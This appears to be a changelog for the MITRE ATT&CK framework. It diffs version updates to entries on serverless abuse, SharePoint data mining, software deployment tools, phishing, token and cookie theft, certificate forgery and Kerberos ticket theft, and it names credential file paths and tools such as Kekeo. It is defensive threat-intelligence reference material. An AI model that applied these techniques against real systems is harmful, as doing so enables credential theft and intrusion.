>l emails a user receives or creates anonymous sharing links >onments, an adversary may create a Power Automate workflow t
>whenever a user is granted access to a document in SharePoin>hat forwards all emails a user receives or creates anonymous
>t.(Citation: Varonis Power Automate Data Exfiltration)(Citat> sharing links whenever a user is granted access to a docume
>ion: Microsoft DART Case Report 001)>nt in SharePoint.(Citation: Varonis Power Automate Data Exfi
 >ltration)(Citation: Microsoft DART Case Report 001) In Googl
 >e Workspace environments, they may instead create an Apps Sc
 >ript that exfiltrates a user's data when they open a file.(C
 >itation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CE
 >RT Google App Script 2024)

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-05 16:13:38.643000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. + +Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation) + +Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. + +Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation) + +Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)
x_mitre_version1.01.1
x_mitre_platforms[2]Office 365Office Suite
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Cloud Hack Tricks GWS Apps Script', 'description': 'HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.', 'url': 'https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts'}
external_references{'source_name': 'OWN-CERT Google App Script 2024', 'description': "L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.", 'url': 'https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis'}
x_mitre_contributorsOWN

[T1499.002] Endpoint Denial of Service: Service Exhaustion Flood

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:43.164000+00:002024-10-15 16:05:48.014000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.31.4
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1213.002] Data from Information Repositories: Sharepoint

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may leverage the SharePoint repository as a sourt1Adversaries may leverage the SharePoint repository as a sour
>ce to mine valuable information. SharePoint will often conta>ce to mine valuable information. SharePoint will often conta
>in useful information for an adversary to learn about the st>in useful information for an adversary to learn about the st
>ructure and functionality of the internal network and system>ructure and functionality of the internal network and system
>s. For example, the following is a list of example informati>s. For example, the following is a list of example informati
>on that may hold potential value to an adversary and may als>on that may hold potential value to an adversary and may als
>o be found on SharePoint:  * Policies, procedures, and stand>o be found on SharePoint:  * Policies, procedures, and stand
>ards * Physical / logical network diagrams * System architec>ards * Physical / logical network diagrams * System architec
>ture diagrams * Technical system documentation * Testing / d>ture diagrams * Technical system documentation * Testing / d
>evelopment credentials * Work / project schedules * Source c>evelopment credentials (i.e., [Unsecured Credentials](https:
>ode snippets * Links to network shares and other internal re>//attack.mitre.org/techniques/T1552)) * Work / project sched
>sources >ules * Source code snippets * Links to network shares and ot
 >her internal resources 

New Detections:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Arun Seelagan, CISA']
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-06-08 17:10:31.187000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources +Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: + +* Policies, procedures, and standards +* Physical / logical network diagrams +* System architecture diagrams +* Technical system documentation +* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) +* Work / project schedules +* Source code snippets +* Links to network shares and other internal resources +
x_mitre_version1.01.1
x_mitre_platforms[1]Office 365Office Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesCloud Service: Cloud Service Metadata

[T1072] Software Deployment Tools

Current version: 3.1

Version changed from: 3.0 → 3.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gain access to and use centralized software t1Adversaries may gain access to and use centralized software 
>suites installed within an enterprise to execute commands an>suites installed within an enterprise to execute commands an
>d move laterally through the network. Configuration manageme>d move laterally through the network. Configuration manageme
>nt and software deployment applications may be used in an en>nt and software deployment applications may be used in an en
>terprise network or cloud environment for routine administra>terprise network or cloud environment for routine administra
>tion purposes. These systems may also be integrated into CI/>tion purposes. These systems may also be integrated into CI/
>CD pipelines. Examples of such solutions include: SCCM, HBSS>CD pipelines. Examples of such solutions include: SCCM, HBSS
>, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc,>, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc,
> and GCP Deployment Manager.    Access to network-wide or en> and GCP Deployment Manager.    Access to network-wide or en
>terprise-wide endpoint management software may enable an adv>terprise-wide endpoint management software may enable an adv
>ersary to achieve remote code execution on all connected sys>ersary to achieve remote code execution on all connected sys
>tems. The access may be used to laterally move to other syst>tems. The access may be used to laterally move to other syst
>ems, gather information, or cause a specific effect, such as>ems, gather information, or cause a specific effect, such as
> wiping the hard drives on all endpoints.  SaaS-based config> wiping the hard drives on all endpoints.  SaaS-based config
>uration management services may allow for broad [Cloud Admin>uration management services may allow for broad [Cloud Admin
>istration Command](https://attack.mitre.org/techniques/T1651>istration Command](https://attack.mitre.org/techniques/T1651
>) on cloud-hosted instances, as well as the execution of arb>) on cloud-hosted instances, as well as the execution of arb
>itrary commands on on-premises endpoints. For example, Micro>itrary commands on on-premises endpoints. For example, Micro
>soft Configuration Manager allows Global or Intune Administr>soft Configuration Manager allows Global or Intune Administr
>ators to run scripts as SYSTEM on on-premises devices joined>ators to run scripts as SYSTEM on on-premises devices joined
> to Azure AD.(Citation: SpecterOps Lateral Movement from Azu> to Entra ID.(Citation: SpecterOps Lateral Movement from Azu
>re to On-Prem AD 2020) Such services may also utilize [Web P>re to On-Prem AD 2020) Such services may also utilize [Web P
>rotocols](https://attack.mitre.org/techniques/T1071/001) to >rotocols](https://attack.mitre.org/techniques/T1071/001) to 
>communicate back to adversary owned infrastructure.(Citation>communicate back to adversary owned infrastructure.(Citation
>: Mitiga Security Advisory: SSM Agent as Remote Access Troja>: Mitiga Security Advisory: SSM Agent as Remote Access Troja
>n)  Network infrastructure devices may also have configurati>n)  Network infrastructure devices may also have configurati
>on management tools that can be similarly abused by adversar>on management tools that can be similarly abused by adversar
>ies.(Citation: Fortinet Zero-Day and Custom Malware Used by >ies.(Citation: Fortinet Zero-Day and Custom Malware Used by 
>Suspected Chinese Actor in Espionage Operation)  The permiss>Suspected Chinese Actor in Espionage Operation)  The permiss
>ions required for this action vary by system configuration; >ions required for this action vary by system configuration; 
>local credentials may be sufficient with direct access to th>local credentials may be sufficient with direct access to th
>e third-party system, or specific domain credentials may be >e third-party system, or specific domain credentials may be 
>required. However, the system may require an administrative >required. However, the system may require an administrative 
>account to log in or to access specific functionality.>account to log in or to access specific functionality.
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 03:40:37.954000+00:002024-09-25 20:49:37.227000+00:00
descriptionAdversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. + +Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. + +SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan) + +Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation) + +The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. + +Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. + +SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan) + +Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation) + +The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.
x_mitre_version3.03.1

[T1566.002] Phishing: Spearphishing Link

Current version: 2.7

Version changed from: 2.6 → 2.7

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 23:51:25.037000+00:002024-10-15 16:06:32.591000+00:00
external_references[1]['url']https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdfhttps://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
x_mitre_version2.62.7
x_mitre_platforms[5]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1566.004] Phishing: Spearphishing Voice

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-15 11:49:40.990000+00:002024-10-15 16:06:47.134000+00:00
x_mitre_version1.01.1
x_mitre_platforms[3]Office 365Identity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1528] Steal Application Access Token

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-24 19:41:54.832000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.31.4
x_mitre_platforms[2]Azure ADIaaS
x_mitre_platforms[3]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1539] Steal Web Session Cookie

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 12:56:56.861000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.31.4
x_mitre_contributors[2]Goldstein MenachemMenachem Goldstein
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1649] Steal or Forge Authentication Certificates

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may steal or forge certificates used for authentt1Adversaries may steal or forge certificates used for authent
>ication to access remote systems or resources. Digital certi>ication to access remote systems or resources. Digital certi
>ficates are often used to sign and encrypt messages and/or f>ficates are often used to sign and encrypt messages and/or f
>iles. Certificates are also used as authentication material.>iles. Certificates are also used as authentication material.
> For example, Azure AD device certificates and Active Direct> For example, Entra ID device certificates and Active Direct
>ory Certificate Services (AD CS) certificates bind to an ide>ory Certificate Services (AD CS) certificates bind to an ide
>ntity and can be used as credentials for domain accounts.(Ci>ntity and can be used as credentials for domain accounts.(Ci
>tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A>tation: O365 Blog Azure AD Device IDs)(Citation: Microsoft A
>D CS Overview)  Authentication certificates can be both stol>D CS Overview)  Authentication certificates can be both stol
>en and forged. For example, AD CS certificates can be stolen>en and forged. For example, AD CS certificates can be stolen
> from encrypted storage (in the Registry or files)(Citation:> from encrypted storage (in the Registry or files)(Citation:
> APT29 Deep Look at Credential Roaming), misplaced certifica> APT29 Deep Look at Credential Roaming), misplaced certifica
>te files (i.e. [Unsecured Credentials](https://attack.mitre.>te files (i.e. [Unsecured Credentials](https://attack.mitre.
>org/techniques/T1552)), or directly from the Windows certifi>org/techniques/T1552)), or directly from the Windows certifi
>cate store via various crypto APIs.(Citation: SpecterOps Cer>cate store via various crypto APIs.(Citation: SpecterOps Cer
>tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi>tified Pre Owned)(Citation: GitHub CertStealer)(Citation: Gi
>tHub GhostPack Certificates) With appropriate enrollment rig>tHub GhostPack Certificates) With appropriate enrollment rig
>hts, users and/or machines within a domain can also request >hts, users and/or machines within a domain can also request 
>and/or manually renew certificates from enterprise certifica>and/or manually renew certificates from enterprise certifica
>te authorities (CA). This enrollment process defines various>te authorities (CA). This enrollment process defines various
> settings and permissions associated with the certificate. O> settings and permissions associated with the certificate. O
>f note, the certificate’s extended key usage (EKU) values de>f note, the certificate’s extended key usage (EKU) values de
>fine signing, encryption, and authentication use cases, whil>fine signing, encryption, and authentication use cases, whil
>e the certificate’s subject alternative name (SAN) values de>e the certificate’s subject alternative name (SAN) values de
>fine the certificate owner’s alternate names.(Citation: Medi>fine the certificate owner’s alternate names.(Citation: Medi
>um Certified Pre Owned)  Abusing certificates for authentica>um Certified Pre Owned)  Abusing certificates for authentica
>tion credentials may enable other behaviors such as [Lateral>tion credentials may enable other behaviors such as [Lateral
> Movement](https://attack.mitre.org/tactics/TA0008). Certifi> Movement](https://attack.mitre.org/tactics/TA0008). Certifi
>cate-related misconfigurations may also enable opportunities>cate-related misconfigurations may also enable opportunities
> for [Privilege Escalation](https://attack.mitre.org/tactics> for [Privilege Escalation](https://attack.mitre.org/tactics
>/TA0004), by way of allowing users to impersonate or assume >/TA0004), by way of allowing users to impersonate or assume 
>privileged accounts or permissions via the identities (SANs)>privileged accounts or permissions via the identities (SANs)
> associated with a certificate. These abuses may also enable> associated with a certificate. These abuses may also enable
> [Persistence](https://attack.mitre.org/tactics/TA0003) via > [Persistence](https://attack.mitre.org/tactics/TA0003) via 
>stealing or forging certificates that can be used as [Valid >stealing or forging certificates that can be used as [Valid 
>Accounts](https://attack.mitre.org/techniques/T1078) for the>Accounts](https://attack.mitre.org/techniques/T1078) for the
> duration of the certificate's validity, despite user passwo> duration of the certificate's validity, despite user passwo
>rd resets. Authentication certificates can also be stolen an>rd resets. Authentication certificates can also be stolen an
>d forged for machine accounts.  Adversaries who have access >d forged for machine accounts.  Adversaries who have access 
>to root (or subordinate) CA certificate private keys (or mec>to root (or subordinate) CA certificate private keys (or mec
>hanisms protecting/managing these keys) may also establish [>hanisms protecting/managing these keys) may also establish [
>Persistence](https://attack.mitre.org/tactics/TA0003) by for>Persistence](https://attack.mitre.org/tactics/TA0003) by for
>ging arbitrary authentication certificates for the victim do>ging arbitrary authentication certificates for the victim do
>main (known as “golden” certificates).(Citation: Medium Cert>main (known as “golden” certificates).(Citation: Medium Cert
>ified Pre Owned) Adversaries may also target certificates an>ified Pre Owned) Adversaries may also target certificates an
>d related services in order to access other forms of credent>d related services in order to access other forms of credent
>ials, such as [Golden Ticket](https://attack.mitre.org/techn>ials, such as [Golden Ticket](https://attack.mitre.org/techn
>iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain>iques/T1558/001) ticket-granting tickets (TGT) or NTLM plain
>text.(Citation: Medium Certified Pre Owned)>text.(Citation: Medium Certified Pre Owned)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-02 19:06:41.828000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview) + +Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned) + +Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. + +Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview) + +Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned) + +Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. + +Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.11.2
x_mitre_platforms[3]Azure ADIdentity Provider

[T1558] Steal or Forge Kerberos Tickets

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may attempt to subvert Kerberos authentication bt1Adversaries may attempt to subvert Kerberos authentication b
>y stealing or forging Kerberos tickets to enable [Pass the T>y stealing or forging Kerberos tickets to enable [Pass the T
>icket](https://attack.mitre.org/techniques/T1550/003). Kerbe>icket](https://attack.mitre.org/techniques/T1550/003). Kerbe
>ros is an authentication protocol widely used in modern Wind>ros is an authentication protocol widely used in modern Wind
>ows domain environments. In Kerberos environments, referred >ows domain environments. In Kerberos environments, referred 
>to as “realms”, there are three basic participants: client, >to as “realms”, there are three basic participants: client, 
>service, and Key Distribution Center (KDC).(Citation: ADSecu>service, and Key Distribution Center (KDC).(Citation: ADSecu
>rity Kerberos Ring Decoder) Clients request access to a serv>rity Kerberos Ring Decoder) Clients request access to a serv
>ice and through the exchange of Kerberos tickets, originatin>ice and through the exchange of Kerberos tickets, originatin
>g from KDC, they are granted access after having successfull>g from KDC, they are granted access after having successfull
>y authenticated. The KDC is responsible for both authenticat>y authenticated. The KDC is responsible for both authenticat
>ion and ticket granting.  Adversaries may attempt to abuse K>ion and ticket granting.  Adversaries may attempt to abuse K
>erberos by stealing tickets or forging tickets to enable una>erberos by stealing tickets or forging tickets to enable una
>uthorized access.  On Windows, the built-in <code>klist</cod>uthorized access.  On Windows, the built-in <code>klist</cod
>e> utility can be used to list and analyze cached Kerberos t>e> utility can be used to list and analyze cached Kerberos t
>ickets.(Citation: Microsoft Klist)  Linux systems on Active >ickets.(Citation: Microsoft Klist) 
>Directory domains store Kerberos credentials locally in the  
>credential cache file referred to as the "ccache". The crede 
>ntials are stored in the ccache file while they remain valid 
> and generally while a user's session lasts.(Citation: MIT c 
>cache) On modern Redhat Enterprise Linux systems, and deriva 
>tive distributions, the System Security Services Daemon (SSS 
>D) handles Kerberos tickets. By default SSSD maintains a cop 
>y of the ticket database that can be found in <code>/var/lib 
>/sss/secrets/secrets.ldb</code> as well as the corresponding 
> key located in <code>/var/lib/sss/secrets/.secrets.mkey</co 
>de>. Both files require root access to read. If an adversary 
> is able to access the database and key, the credential cach 
>e Kerberos blob can be extracted and converted into a usable 
> Kerberos ccache file that adversaries may use for [Pass the 
> Ticket](https://attack.mitre.org/techniques/T1550/003). The 
> ccache file may also be converted into a Windows format usi 
>ng tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Ci 
>tation: Brining MimiKatz to Unix)(Citation: Kekeo)   Kerbero 
>s tickets on macOS are stored in a standard ccache format, s 
>imilar to Linux. By default, access to these ccache entries  
>is federated through the KCM daemon process via the Mach RPC 
> protocol, which uses the caller's environment to determine  
>access. The storage location for these ccache entries is inf 
>luenced by the <code>/etc/krb5.conf</code> configuration fil 
>e and the <code>KRB5CCNAME</code> environment variable which 
> can specify to save them to disk or keep them protected via 
> the KCM daemon. Users can interact with ticket storage usin 
>g <code>kinit</code>, <code>klist</code>, <code>ktutil</code 
>>, and <code>kcc</code> built-in binaries or via Apple's nat 
>ive Kerberos framework. Adversaries can use open source tool 
>s to interact with the ccache files directly or to use the K 
>erberos framework to call lower-level APIs for extracting th 
>e user's TGT or Service Tickets.(Citation: SpectorOps Bifros 
>t Kerberos macOS 2019)(Citation: macOS kerberos framework MI 
>T)  

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 16:58:02.395000+00:002024-09-17 19:49:11.455000+00:00
descriptionAdversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. + +On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist) + +Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) + + +Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost 